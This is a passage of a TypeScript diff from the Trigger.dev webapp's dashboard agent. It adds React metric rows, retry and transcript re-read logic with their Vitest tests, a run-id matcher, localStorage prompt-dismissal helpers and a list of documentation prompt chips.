*/
|
||||
note,
|
||||
/** The finding-explaining row's annotation. Joins `note` in the info tooltip. */
|
||||
heroNote,
|
||||
series,
|
||||
windowMinutes,
|
||||
anomalyMinutes,
|
||||
seriesEndMs,
|
||||
formatPoint,
|
||||
}: {
|
||||
label: string;
|
||||
value: string;
|
||||
severity: ReportSeverityKey;
|
||||
subRows?: { label: string; value: string }[];
|
||||
delta?: ReportDelta;
|
||||
note?: string;
|
||||
heroNote?: string;
|
||||
series?: number[];
|
||||
windowMinutes: number;
|
||||
anomalyMinutes?: number;
|
||||
seriesEndMs: number | null;
|
||||
formatPoint: (value: number) => string;
|
||||
}) {
|
||||
const deltaClass =
|
||||
delta?.dir === "up"
|
||||
? severity === "ok"
|
||||
? "text-text-dimmed"
|
||||
: SEVERITY_TEXT[severity]
|
||||
: delta?.dir === "down"
|
||||
? "text-text-dimmed"
|
||||
: "text-text-faint";
|
||||
|
||||
return (
|
||||
<>
|
||||
<li className={METRIC_ROW_CLASS}>
|
||||
<span className={LABEL_CLASS}>{label}</span>
|
||||
<span className="flex min-w-0 items-center gap-1.5">
|
||||
<span className={cn("text-sm font-medium tabular-nums", SEVERITY_TEXT[severity])}>
|
||||
{value}
|
||||
</span>
|
||||
{note || heroNote ? (
|
||||
<InfoIconTooltip content={[heroNote, note].filter(Boolean).join(" · ")} />
|
||||
) : null}
|
||||
</span>
|
||||
<span className={cn("whitespace-nowrap text-xs tabular-nums", deltaClass)}>
|
||||
{delta?.text ?? ""}
|
||||
</span>
|
||||
{series && series.length > 0 ? (
|
||||
<ReportSparkline
|
||||
points={series}
|
||||
severity={severity}
|
||||
windowMinutes={windowMinutes}
|
||||
anomalyMinutes={anomalyMinutes}
|
||||
seriesEndMs={seriesEndMs}
|
||||
formatPoint={formatPoint}
|
||||
label={label}
|
||||
className={SPARK_CELL_CLASS}
|
||||
/>
|
||||
) : (
|
||||
// Keeps the column occupied so a series-less metric doesn't pull the
|
||||
// rows out of alignment.
|
||||
<span aria-hidden className="@max-[19rem]:hidden" />
|
||||
)}
|
||||
</li>
|
||||
|
||||
{(subRows ?? []).map((sub) => (
|
||||
// A sub-row keeps the grid's columns so its number stays on the same
|
||||
// vertical as every other row's value.
|
||||
<li key={sub.label} className={METRIC_ROW_CLASS}>
|
||||
{/* Indented under the parent label, shallow enough to stay inside the
|
||||
6rem label column. */}
|
||||
<span className={cn(LABEL_CLASS, "pl-6")}>{sub.label}</span>
|
||||
<span className="whitespace-nowrap text-sm tabular-nums text-text-dimmed">
|
||||
{sub.value}
|
||||
</span>
|
||||
</li>
|
||||
))}
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
/** The metric grid. Rows are `ReportMetricRow`s, which may expand to several. */
|
||||
export function ReportMetricList({ children }: { children: ReactNode }) {
|
||||
// The container the rows measure themselves against.
|
||||
return <ul className="@container space-y-2.5">{children}</ul>;
|
||||
}
|
||||
@@ -1,5 +1,6 @@
|
||||
import { readFileSync } from "node:fs";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { MAX_URIS_PER_RESOLVE_REQUEST, planUriBatches } from "./resolve-uris";
|
||||
import { MAX_URIS_PER_RESOLVE_REQUEST, planUriBatches, shouldScheduleRetry } from "./resolve-uris";
|
||||
|
||||
const uri = (index: number) => `trigger://runs/run_${index}`;
|
||||
|
||||
@@ -30,3 +31,39 @@ describe("planUriBatches", () => {
|
||||
expect(planUriBatches([])).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("shouldScheduleRetry", () => {
|
||||
it("retries a transient failure while the cards are still on screen", () => {
|
||||
expect(shouldScheduleRetry({ mounted: true, timerPending: false })).toBe(true);
|
||||
});
|
||||
|
||||
it("schedules nothing once the panel is gone", () => {
|
||||
// A request in flight at unmount rejects afterwards; its retry would fetch
|
||||
// again and set state for a component that no longer exists.
|
||||
expect(shouldScheduleRetry({ mounted: false, timerPending: false })).toBe(false);
|
||||
expect(shouldScheduleRetry({ mounted: false, timerPending: true })).toBe(false);
|
||||
});
|
||||
|
||||
it("lets one timer serve every batch", () => {
|
||||
expect(shouldScheduleRetry({ mounted: true, timerPending: true })).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Structural guard, not behavioural proof: the webapp has no DOM test environment, so nothing
|
||||
* here mounts the hook or unmounts it mid-flight. It asserts the policy above is the one the
|
||||
* hook asks, and that the unmount path is wired.
|
||||
*/
|
||||
describe("useTriggerUriResolver's unmount wiring", () => {
|
||||
const source = readFileSync(new URL("./useTriggerUriResolver.ts", import.meta.url), "utf8");
|
||||
|
||||
it("asks `shouldScheduleRetry` rather than testing the timer itself", () => {
|
||||
expect(source).toContain("shouldScheduleRetry({");
|
||||
expect(source).not.toMatch(/if \(retryTimer\.current === undefined\)/);
|
||||
});
|
||||
|
||||
it("marks itself unmounted on cleanup and drops state updates after that", () => {
|
||||
expect(source).toContain("mounted.current = false");
|
||||
expect(source).toContain("if (!mounted.current) return;");
|
||||
});
|
||||
});
|
||||
|
||||
@@ -11,6 +11,21 @@ export const MAX_RESOLVE_ATTEMPTS = 3;
|
||||
|
||||
export const RESOLVE_RETRY_DELAY_MS = 1_000;
|
||||
|
||||
/**
|
||||
* A request in flight at unmount rejects afterwards. Its retry must not be scheduled: the
|
||||
* callback would fetch again for a component that is gone, and record the answer into state.
|
||||
* One timer serves every batch, so a pending one is not replaced either.
|
||||
*/
|
||||
export function shouldScheduleRetry({
|
||||
mounted,
|
||||
timerPending,
|
||||
}: {
|
||||
mounted: boolean;
|
||||
timerPending: boolean;
|
||||
}): boolean {
|
||||
return mounted && !timerPending;
|
||||
}
|
||||
|
||||
/** Deduplicates, then splits into requests no bigger than the cap. */
|
||||
export function planUriBatches(
|
||||
uris: readonly string[],
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { retryAction } from "./retry-action";
|
||||
|
||||
function user(id: string, ...texts: string[]) {
|
||||
return { id, role: "user", parts: texts.map((text) => ({ type: "text", text })) };
|
||||
}
|
||||
|
||||
function assistant(id: string, text: string) {
|
||||
return { id, role: "assistant", parts: [{ type: "text", text }] };
|
||||
}
|
||||
|
||||
describe("retryAction", () => {
|
||||
it("re-sends the failed turn under its own id, never as a new message", () => {
|
||||
expect(retryAction([assistant("a1", "hi"), user("u2", "why is it slow?")])).toEqual({
|
||||
kind: "resend",
|
||||
messageId: "u2",
|
||||
text: "why is it slow?",
|
||||
});
|
||||
});
|
||||
|
||||
it("joins the failed turn's text parts", () => {
|
||||
expect(retryAction([user("u1", "one", "two")])).toMatchObject({ text: "one\ntwo" });
|
||||
});
|
||||
|
||||
it("regenerates when the agent already started answering", () => {
|
||||
expect(retryAction([user("u1", "why?"), assistant("a1", "partial")])).toEqual({
|
||||
kind: "regenerate",
|
||||
});
|
||||
});
|
||||
|
||||
it("does nothing on an empty transcript, where there is no turn to retry", () => {
|
||||
expect(retryAction([])).toBeNull();
|
||||
});
|
||||
|
||||
it("does nothing when the failed turn carries no text to re-send", () => {
|
||||
expect(retryAction([{ id: "u1", role: "user", parts: [] }])).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,35 @@
|
||||
/**
|
||||
* What the retry button should do after a failed turn.
|
||||
*
|
||||
* `regenerate()` sends no message at all — the agent trims its trailing assistant and re-runs
|
||||
* from its own history. That is only safe once the agent has answered, because a turn can also
|
||||
* fail before the message reaches it (a rejected or dropped `.in` append), and on the
|
||||
* head-started first turn the agent would then have no history to run on.
|
||||
*/
|
||||
|
||||
export type RetryMessage = {
|
||||
id: string;
|
||||
role: string;
|
||||
parts?: readonly { type: string; text?: string }[];
|
||||
};
|
||||
|
||||
export type RetryAction =
|
||||
/** Built-in retry: the agent owns the turn and drops its own partial answer. */
|
||||
| { kind: "regenerate" }
|
||||
/** Re-send under the same id, so the message lands even if it never did, and never twice. */
|
||||
| { kind: "resend"; messageId: string; text: string }
|
||||
| null;
|
||||
|
||||
export function retryAction(messages: readonly RetryMessage[]): RetryAction {
|
||||
const last = messages[messages.length - 1];
|
||||
if (!last) return null;
|
||||
if (last.role !== "user") return { kind: "regenerate" };
|
||||
|
||||
const text = (last.parts ?? [])
|
||||
.filter((part) => part.type === "text")
|
||||
.map((part) => part.text ?? "")
|
||||
.join("\n")
|
||||
.trim();
|
||||
|
||||
return text ? { kind: "resend", messageId: last.id, text } : null;
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
import { generateFriendlyId } from "@trigger.dev/core/v3/isomorphic";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { isRunFriendlyId } from "./run-id";
|
||||
|
||||
describe("isRunFriendlyId", () => {
|
||||
it("matches ids the platform actually mints", () => {
|
||||
for (let i = 0; i < 50; i++) {
|
||||
expect(isRunFriendlyId(generateFriendlyId("run"))).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("matches a run-ops v1 id (base32hex body + region + version)", () => {
|
||||
expect(isRunFriendlyId("run_0abcdefghijklmnopqrstuvw1")).toBe(true);
|
||||
});
|
||||
|
||||
it("matches a legacy cuid-bodied id", () => {
|
||||
expect(isRunFriendlyId("run_clq1x2y3z0000abcd1efgh2ij")).toBe(true);
|
||||
});
|
||||
|
||||
it("matches an id the user typed in caps", () => {
|
||||
expect(isRunFriendlyId("RUN_ABC123")).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects other entities and non-ids", () => {
|
||||
expect(isRunFriendlyId("error_abc123")).toBe(false);
|
||||
expect(isRunFriendlyId("batch_abc123")).toBe(false);
|
||||
expect(isRunFriendlyId("run_")).toBe(false);
|
||||
expect(isRunFriendlyId("run")).toBe(false);
|
||||
expect(isRunFriendlyId("src/trigger/tasks.ts:42")).toBe(false);
|
||||
expect(isRunFriendlyId("https://example.com/run_abc")).toBe(false);
|
||||
expect(isRunFriendlyId("run_abc-attempt-1")).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,7 @@
|
||||
// Every friendly id the platform mints is `run_` plus a lowercase alphanumeric
|
||||
// body; see `packages/core/src/v3/isomorphic/friendlyId.ts`.
|
||||
export const RUN_FRIENDLY_ID_PATTERN = /^run_[a-z0-9]+$/i;
|
||||
|
||||
export function isRunFriendlyId(value: string): boolean {
|
||||
return RUN_FRIENDLY_ID_PATTERN.test(value);
|
||||
}
|
||||
@@ -0,0 +1,285 @@
|
||||
import { VIEW_BLOCK_VERSION } from "@internal/dashboard-agent-contracts";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import { liveProgress } from "./progress-line";
|
||||
import {
|
||||
fetchChatTranscript,
|
||||
hasOpenInvestigation,
|
||||
mergeSettledMessages,
|
||||
pollSettledTranscript,
|
||||
transcriptLooksUnfinished,
|
||||
} from "./settled-transcript";
|
||||
|
||||
/**
|
||||
* The open panel. A settled turn writes its terminal card to the chat row rather than
|
||||
* pushing a stream chunk, so a panel that stays mounted has to re-read the transcript
|
||||
* or it renders the last `in_progress` revision forever.
|
||||
*/
|
||||
|
||||
const INVESTIGATION_ID = "inv_open_panel";
|
||||
|
||||
function cardMessage(args: { id: string; revision: number; outcome: string; progress?: string }) {
|
||||
return {
|
||||
id: args.id,
|
||||
role: "assistant",
|
||||
parts: [
|
||||
{
|
||||
type: "tool-render_view",
|
||||
toolCallId: args.id,
|
||||
state: "output-available",
|
||||
output: {
|
||||
blocks: [
|
||||
{
|
||||
type: "investigation",
|
||||
id: INVESTIGATION_ID,
|
||||
revision: args.revision,
|
||||
version: VIEW_BLOCK_VERSION,
|
||||
investigation: { outcome: args.outcome, progress: args.progress },
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
],
|
||||
};
|
||||
}
|
||||
|
||||
const OPEN = cardMessage({
|
||||
id: "msg_open",
|
||||
revision: 0,
|
||||
outcome: "in_progress",
|
||||
progress: "Reading the run's spans",
|
||||
});
|
||||
|
||||
const SETTLED = cardMessage({
|
||||
id: `investigation-settlement:${INVESTIGATION_ID}:1`,
|
||||
revision: 1,
|
||||
outcome: "inconclusive",
|
||||
});
|
||||
|
||||
describe("merging a re-read transcript", () => {
|
||||
it("adds only what the panel doesn't have, keeping what is already rendered in place", () => {
|
||||
const merged = mergeSettledMessages([OPEN], [OPEN, SETTLED]);
|
||||
expect(merged.map((message) => message.id)).toEqual([OPEN.id, SETTLED.id]);
|
||||
expect(merged[0]).toBe(OPEN);
|
||||
});
|
||||
|
||||
it("cannot produce a second copy of a card, however many times it re-reads", () => {
|
||||
let merged = mergeSettledMessages([OPEN], [OPEN, SETTLED]);
|
||||
merged = mergeSettledMessages(merged, [OPEN, SETTLED]);
|
||||
merged = mergeSettledMessages(merged, [OPEN, SETTLED]);
|
||||
expect(merged.filter((message) => message.id === SETTLED.id)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("returns the same array when the re-read adds nothing, so no render is forced", () => {
|
||||
const current = [OPEN, SETTLED];
|
||||
expect(mergeSettledMessages(current, [OPEN, SETTLED])).toBe(current);
|
||||
});
|
||||
});
|
||||
|
||||
describe("replacing a stale running step from the re-read", () => {
|
||||
// Same message id, but the stream EOF'd before `get_report` produced an output.
|
||||
const RUNNING_STEP = {
|
||||
id: "msg_step",
|
||||
role: "assistant",
|
||||
parts: [{ type: "tool-get_report", toolCallId: "call_1", state: "input-available" }],
|
||||
};
|
||||
|
||||
const FINISHED_STEP = {
|
||||
id: "msg_step",
|
||||
role: "assistant",
|
||||
parts: [
|
||||
{ type: "tool-get_report", toolCallId: "call_1", state: "output-available", output: {} },
|
||||
],
|
||||
};
|
||||
|
||||
it("swaps the still-running copy for its finished version from the authoritative read", () => {
|
||||
const merged = mergeSettledMessages([RUNNING_STEP], [FINISHED_STEP]);
|
||||
expect(merged).toEqual([FINISHED_STEP]);
|
||||
// The step no longer reads as running, so nothing keeps the panel on Working…
|
||||
expect(transcriptLooksUnfinished(merged)).toBe(false);
|
||||
});
|
||||
|
||||
it("still appends genuinely-new messages while replacing a stale one", () => {
|
||||
const merged = mergeSettledMessages([RUNNING_STEP], [FINISHED_STEP, SETTLED]);
|
||||
expect(merged.map((message) => message.id)).toEqual([FINISHED_STEP.id, SETTLED.id]);
|
||||
expect(merged[0]).toBe(FINISHED_STEP);
|
||||
});
|
||||
|
||||
it("leaves an in-flight message alone when the re-read is itself still running", () => {
|
||||
const merged = mergeSettledMessages([RUNNING_STEP], [RUNNING_STEP]);
|
||||
// Same reference back, no needless render, and the live turn is untouched.
|
||||
expect(merged).toEqual([RUNNING_STEP]);
|
||||
expect(merged[0]).toBe(RUNNING_STEP);
|
||||
});
|
||||
|
||||
it("does not touch a running message the re-read does not mention", () => {
|
||||
const merged = mergeSettledMessages([RUNNING_STEP], [SETTLED]);
|
||||
expect(merged.map((message) => message.id)).toEqual([RUNNING_STEP.id, SETTLED.id]);
|
||||
expect(merged[0]).toBe(RUNNING_STEP);
|
||||
});
|
||||
});
|
||||
|
||||
describe("reading the transcript endpoint", () => {
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
function respondWith(body: unknown, ok = true) {
|
||||
vi.stubGlobal("fetch", async () => ({ ok, json: async () => body }) as unknown as Response);
|
||||
}
|
||||
|
||||
it("returns the transcript when the response carries one", async () => {
|
||||
respondWith({ messages: [OPEN, SETTLED] });
|
||||
const fetched = await fetchChatTranscript<typeof OPEN>("/agent/transcript", "chat_1");
|
||||
expect(fetched?.map((message) => message.id)).toEqual([OPEN.id, SETTLED.id]);
|
||||
});
|
||||
|
||||
it("reads a response with no messages at all as a failed re-read", async () => {
|
||||
respondWith({});
|
||||
expect(await fetchChatTranscript("/agent/transcript", "chat_1")).toBeNull();
|
||||
});
|
||||
|
||||
it("reads a non-array under messages as a failed re-read, not as a transcript", async () => {
|
||||
respondWith({ messages: { msg_open: OPEN } });
|
||||
expect(await fetchChatTranscript("/agent/transcript", "chat_1")).toBeNull();
|
||||
});
|
||||
|
||||
it("keeps only entries the merge can key on", async () => {
|
||||
respondWith({ messages: [OPEN, null, "msg_open", { revision: 1 }, SETTLED] });
|
||||
const fetched = await fetchChatTranscript<typeof OPEN>("/agent/transcript", "chat_1");
|
||||
expect(fetched?.map((message) => message.id)).toEqual([OPEN.id, SETTLED.id]);
|
||||
});
|
||||
|
||||
it("leaves the panel's transcript alone when the endpoint answers with a shape it cannot merge", async () => {
|
||||
respondWith({ messages: { msg_open: OPEN } });
|
||||
let rendered: (typeof OPEN)[] = [OPEN];
|
||||
|
||||
await pollSettledTranscript<typeof OPEN>({
|
||||
fetchTranscript: () => fetchChatTranscript("/agent/transcript", "chat_1"),
|
||||
apply: (merge) => void (rendered = merge(rendered)),
|
||||
wait: async () => {},
|
||||
});
|
||||
|
||||
expect(rendered).toEqual([OPEN]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("deciding whether a settled turn is worth re-reading", () => {
|
||||
// The stream EOF'd while `get_report` was running: the part never gets an output.
|
||||
const DANGLING_TOOL = {
|
||||
id: "msg_dangling",
|
||||
role: "assistant",
|
||||
parts: [{ type: "tool-get_report", toolCallId: "call_1", state: "input-available" }],
|
||||
};
|
||||
|
||||
it("re-reads when the stream died mid-tool, not only when a card is open", () => {
|
||||
expect(transcriptLooksUnfinished([DANGLING_TOOL])).toBe(true);
|
||||
});
|
||||
|
||||
it("re-reads while a card is still open", () => {
|
||||
expect(transcriptLooksUnfinished([OPEN])).toBe(true);
|
||||
});
|
||||
|
||||
it("leaves a fully settled transcript alone", () => {
|
||||
expect(transcriptLooksUnfinished([OPEN, SETTLED])).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("an already-open panel when a turn is exhausted", () => {
|
||||
it("stops showing Working… without a reload or a reopen", async () => {
|
||||
// What the mounted panel holds when the stream closes: the card the model opened
|
||||
// and never concluded, and no turn in flight.
|
||||
let rendered: (typeof OPEN)[] = [OPEN];
|
||||
expect(liveProgress(rendered, null)).toEqual({
|
||||
source: "investigation",
|
||||
label: "Reading the run's spans",
|
||||
});
|
||||
|
||||
// The stored transcript, which `onTurnComplete` has closed out by now.
|
||||
const waits: number[] = [];
|
||||
await pollSettledTranscript({
|
||||
fetchTranscript: async () => [OPEN, SETTLED],
|
||||
apply: (merge) => void (rendered = merge(rendered)),
|
||||
wait: async (ms) => void waits.push(ms),
|
||||
});
|
||||
|
||||
expect(rendered.map((message) => message.id)).toEqual([OPEN.id, SETTLED.id]);
|
||||
// The panel's own progress line is gone: the winning revision is terminal.
|
||||
expect(liveProgress(rendered, null)).toBeNull();
|
||||
// One re-read was enough, because the transcript came back closed.
|
||||
expect(waits).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("retries while the stored transcript is still open, because the write lands after the stream closes", async () => {
|
||||
const responses = [[OPEN], [OPEN], [OPEN, SETTLED]];
|
||||
let rendered: (typeof OPEN)[] = [OPEN];
|
||||
let reads = 0;
|
||||
|
||||
await pollSettledTranscript({
|
||||
fetchTranscript: async () => responses[reads++] ?? null,
|
||||
apply: (merge) => void (rendered = merge(rendered)),
|
||||
wait: async () => {},
|
||||
});
|
||||
|
||||
expect(reads).toBe(3);
|
||||
expect(hasOpenInvestigation(rendered)).toBe(false);
|
||||
});
|
||||
|
||||
it("gives up rather than polling forever, leaving the sweep as the backstop", async () => {
|
||||
let reads = 0;
|
||||
await pollSettledTranscript({
|
||||
fetchTranscript: async () => {
|
||||
reads++;
|
||||
return [OPEN];
|
||||
},
|
||||
apply: () => {},
|
||||
wait: async () => {},
|
||||
delays: [0, 0],
|
||||
});
|
||||
|
||||
expect(reads).toBe(2);
|
||||
});
|
||||
|
||||
it("keeps re-reading a stream that died mid-tool with no card open", async () => {
|
||||
// No investigation anywhere: only the dangling `get_report` says the turn is unfinished.
|
||||
const DANGLING = {
|
||||
id: "msg_step",
|
||||
role: "assistant",
|
||||
parts: [{ type: "tool-get_report", toolCallId: "call_1", state: "input-available" }],
|
||||
};
|
||||
const FINISHED = {
|
||||
id: "msg_step",
|
||||
role: "assistant",
|
||||
parts: [
|
||||
{ type: "tool-get_report", toolCallId: "call_1", state: "output-available", output: {} },
|
||||
],
|
||||
};
|
||||
|
||||
const responses = [[DANGLING], [DANGLING], [FINISHED]];
|
||||
let rendered: (typeof DANGLING)[] = [DANGLING];
|
||||
let reads = 0;
|
||||
|
||||
await pollSettledTranscript({
|
||||
fetchTranscript: async () => responses[reads++] ?? null,
|
||||
apply: (merge) => void (rendered = merge(rendered)),
|
||||
wait: async () => {},
|
||||
});
|
||||
|
||||
expect(reads).toBe(3);
|
||||
expect(rendered).toEqual([FINISHED]);
|
||||
expect(transcriptLooksUnfinished(rendered)).toBe(false);
|
||||
});
|
||||
|
||||
it("stops on a failed re-read instead of hammering the endpoint", async () => {
|
||||
let reads = 0;
|
||||
await pollSettledTranscript<typeof OPEN>({
|
||||
fetchTranscript: async () => {
|
||||
reads++;
|
||||
return null;
|
||||
},
|
||||
apply: () => {},
|
||||
wait: async () => {},
|
||||
});
|
||||
|
||||
expect(reads).toBe(1);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,115 @@
|
||||
import { IN_FLIGHT_TOOL_STATES, inFlightToolName, liveInvestigation } from "./progress-line";
|
||||
|
||||
/**
|
||||
* Re-reading the stored transcript once a turn settles.
|
||||
*
|
||||
* The turn's terminal records — a force-settled investigation card, a failure
|
||||
* record — are written to the chat row, not pushed as a stream chunk. An open panel
|
||||
* has already closed its stream by then, so without this it keeps rendering the last
|
||||
* `in_progress` revision and spins until the user reloads.
|
||||
*/
|
||||
|
||||
type Identified = { id: string };
|
||||
|
||||
/** A message whose stream died mid-tool: a `tool-*` part still reads as running. */
|
||||
function stillRunning(message: unknown): boolean {
|
||||
const parts = (message as { parts?: ReadonlyArray<{ type?: string; state?: string }> })?.parts;
|
||||
if (!Array.isArray(parts)) return false;
|
||||
return parts.some(
|
||||
(part) =>
|
||||
typeof part?.type === "string" &&
|
||||
part.type.startsWith("tool-") &&
|
||||
IN_FLIGHT_TOOL_STATES.has(part.state ?? "")
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Merge the authoritative re-read into what the panel holds, keyed on the message id.
|
||||
*
|
||||
* Genuinely-new messages (a settlement card is `investigation-settlement:{id}:{revision}`)
|
||||
* are appended, so re-reading the same transcript any number of times never produces a
|
||||
* second copy. A message whose in-memory copy died mid-tool — a stream that EOF'd before
|
||||
* the part settled — is replaced by its finished version from the re-read; otherwise it
|
||||
* would show that step running forever. We only replace a still-running copy with a copy
|
||||
* that has itself settled, so a live turn streaming under the same id is left alone and
|
||||
* ordering is preserved.
|
||||
*/
|
||||
export function mergeSettledMessages<T extends Identified>(current: T[], fetched: T[]): T[] {
|
||||
const byId = new Map(fetched.map((message) => [message.id, message]));
|
||||
|
||||
let replaced = false;
|
||||
const next = current.map((existing) => {
|
||||
const settled = byId.get(existing.id);
|
||||
if (settled && settled !== existing && stillRunning(existing) && !stillRunning(settled)) {
|
||||
replaced = true;
|
||||
return settled;
|
||||
}
|
||||
return existing;
|
||||
});
|
||||
|
||||
const missing = fetched.filter(
|
||||
(message) => !current.some((existing) => existing.id === message.id)
|
||||
);
|
||||
if (missing.length === 0) return replaced ? next : current;
|
||||
return [...next, ...missing];
|
||||
}
|
||||
|
||||
/** Whether the transcript still resolves to a card mid-investigation. */
|
||||
export function hasOpenInvestigation(messages: ReadonlyArray<unknown>): boolean {
|
||||
return liveInvestigation(messages as never) !== null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether the transcript still reads as mid-turn. A stream that dies without
|
||||
* `turn-complete` leaves the tool part it was on dangling forever, so an open card is
|
||||
* not the only shape a re-read has to recover from.
|
||||
*/
|
||||
export function transcriptLooksUnfinished(messages: ReadonlyArray<unknown>): boolean {
|
||||
return hasOpenInvestigation(messages) || inFlightToolName(messages as never) !== null;
|
||||
}
|
||||
|
||||
/**
|
||||
* The settlement is written in `onTurnComplete`, which runs AFTER the client's stream
|
||||
* closes, so the first re-read can legitimately land before it. Retry a few times,
|
||||
* then leave it: a reload and the between-turns sweep are both still backstops.
|
||||
*/
|
||||
export const SETTLE_REFETCH_DELAYS_MS = [200, 800, 2_500];
|
||||
|
||||
export async function pollSettledTranscript<T extends Identified>(deps: {
|
||||
fetchTranscript: () => Promise<T[] | null>;
|
||||
apply: (merge: (current: T[]) => T[]) => void;
|
||||
wait: (ms: number) => Promise<void>;
|
||||
delays?: ReadonlyArray<number>;
|
||||
}): Promise<void> {
|
||||
for (const delay of deps.delays ?? SETTLE_REFETCH_DELAYS_MS) {
|
||||
await deps.wait(delay);
|
||||
const fetched = await deps.fetchTranscript();
|
||||
if (!fetched) return;
|
||||
deps.apply((current) => mergeSettledMessages(current, fetched));
|
||||
// The stored transcript is the authority on whether anything is still open. Same test that
|
||||
// starts the poll, so a stream that died mid-tool is followed until it settles too.
|
||||
if (!transcriptLooksUnfinished(fetched)) return;
|
||||
}
|
||||
}
|
||||
|
||||
export async function fetchChatTranscript<T extends Identified>(
|
||||
actionPath: string,
|
||||
chatId: string
|
||||
): Promise<T[] | null> {
|
||||
try {
|
||||
const res = await fetch(`${actionPath}?chatId=${encodeURIComponent(chatId)}`);
|
||||
if (!res.ok) return null;
|
||||
const data = (await res.json()) as { messages?: unknown };
|
||||
if (!Array.isArray(data.messages)) return null;
|
||||
// Anything else under `messages` is not a transcript; keep only what merging can key on.
|
||||
return data.messages.filter(
|
||||
(message): message is T =>
|
||||
typeof message === "object" &&
|
||||
message !== null &&
|
||||
typeof (message as Identified).id === "string"
|
||||
);
|
||||
} catch (error) {
|
||||
console.error("Dashboard agent: failed to re-read the settled transcript", error);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
// One key per chip id, not one key holding a list, so two tabs dismissing
|
||||
// different chips can't clobber each other's write.
|
||||
const KEY_PREFIX = "tdev:dashboard-agent:prompt-dismissed:";
|
||||
|
||||
export const dismissedPromptStorageKey = (promptId: string) => `${KEY_PREFIX}${promptId}`;
|
||||
|
||||
export function readDismissedPromptIds(): string[] {
|
||||
if (typeof window === "undefined") return [];
|
||||
try {
|
||||
const ids: string[] = [];
|
||||
for (let i = 0; i < window.localStorage.length; i++) {
|
||||
const key = window.localStorage.key(i);
|
||||
if (key?.startsWith(KEY_PREFIX)) ids.push(key.slice(KEY_PREFIX.length));
|
||||
}
|
||||
return ids;
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
export function writeDismissedPromptId(promptId: string): void {
|
||||
if (typeof window === "undefined") return;
|
||||
try {
|
||||
window.localStorage.setItem(dismissedPromptStorageKey(promptId), "1");
|
||||
} catch {
|
||||
/* storage full or blocked — the dismissal just doesn't persist */
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,136 @@
|
||||
/** The evergreen explain and docs chips, shared across pages. */
|
||||
import type { SuggestedPrompt } from "@internal/dashboard-agent-contracts";
|
||||
import { def } from "./prompt-chips";
|
||||
|
||||
export const EXPLAIN_PAGE = def(
|
||||
"explain-page",
|
||||
"Explain this page",
|
||||
"Explain what this page shows and what I can do here."
|
||||
);
|
||||
export const DOCS_GENERIC = def(
|
||||
"docs-generic",
|
||||
"How do I use Trigger.dev?",
|
||||
"How do I get started with Trigger.dev? Point me at the docs."
|
||||
);
|
||||
export const DOCS_RETRIES = def(
|
||||
"docs-retries",
|
||||
"How do retries work?",
|
||||
"How do retries work in Trigger.dev?"
|
||||
);
|
||||
export const DOCS_ERRORS = def(
|
||||
"docs-errors",
|
||||
"How do I handle errors?",
|
||||
"How do I catch and handle errors in Trigger.dev tasks?"
|
||||
);
|
||||
export const DOCS_CONCURRENCY = def(
|
||||
"docs-concurrency",
|
||||
"How does concurrency work?",
|
||||
"How do queues and concurrency limits work in Trigger.dev?"
|
||||
);
|
||||
export const DOCS_DEPLOYS = def(
|
||||
"docs-deploys",
|
||||
"How do deploys work?",
|
||||
"How do deployments and versions work in Trigger.dev?"
|
||||
);
|
||||
export const DOCS_TASKS = def(
|
||||
"docs-tasks",
|
||||
"How do I write a task?",
|
||||
"How do I write and structure a task in Trigger.dev?"
|
||||
);
|
||||
export const DOCS_SCHEDULES = def(
|
||||
"docs-schedules",
|
||||
"How do schedules work?",
|
||||
"How do cron schedules work in Trigger.dev?"
|
||||
);
|
||||
export const DOCS_BATCHES = def(
|
||||
"docs-batches",
|
||||
"How do I trigger a batch?",
|
||||
"How do I trigger a batch of runs, and how do I read the results?"
|
||||
);
|
||||
export const DOCS_TRIGGERING = def(
|
||||
"docs-triggering",
|
||||
"How do I trigger a task?",
|
||||
"How do I trigger a task, and what options can I pass with the payload?"
|
||||
);
|
||||
export const DOCS_ALERTS = def(
|
||||
"docs-alerts",
|
||||
"How do I set up alerts?",
|
||||
"How do alerts work, and which failures can I be notified about?"
|
||||
);
|
||||
export const DOCS_AUTH = def(
|
||||
"docs-auth",
|
||||
"How do I authenticate?",
|
||||
"How do I authenticate the SDK with an API key?"
|
||||
);
|
||||
export const DOCS_ENVVARS = def(
|
||||
"docs-envvars",
|
||||
"How do I set env vars?",
|
||||
"How do environment variables work, and how do I read one inside a task?"
|
||||
);
|
||||
export const DOCS_REGIONS = def(
|
||||
"docs-regions",
|
||||
"How do I pick a region?",
|
||||
"How do I choose which region a task runs in?"
|
||||
);
|
||||
export const DOCS_ENVIRONMENTS = def(
|
||||
"docs-environments",
|
||||
"How do environments work?",
|
||||
"How do projects and environments work in Trigger.dev?"
|
||||
);
|
||||
export const DOCS_WAITPOINTS = def(
|
||||
"docs-waitpoints",
|
||||
"How do wait tokens work?",
|
||||
"How do wait tokens work, and how do I complete one?"
|
||||
);
|
||||
export const DOCS_BULK_ACTIONS = def(
|
||||
"docs-bulk-actions",
|
||||
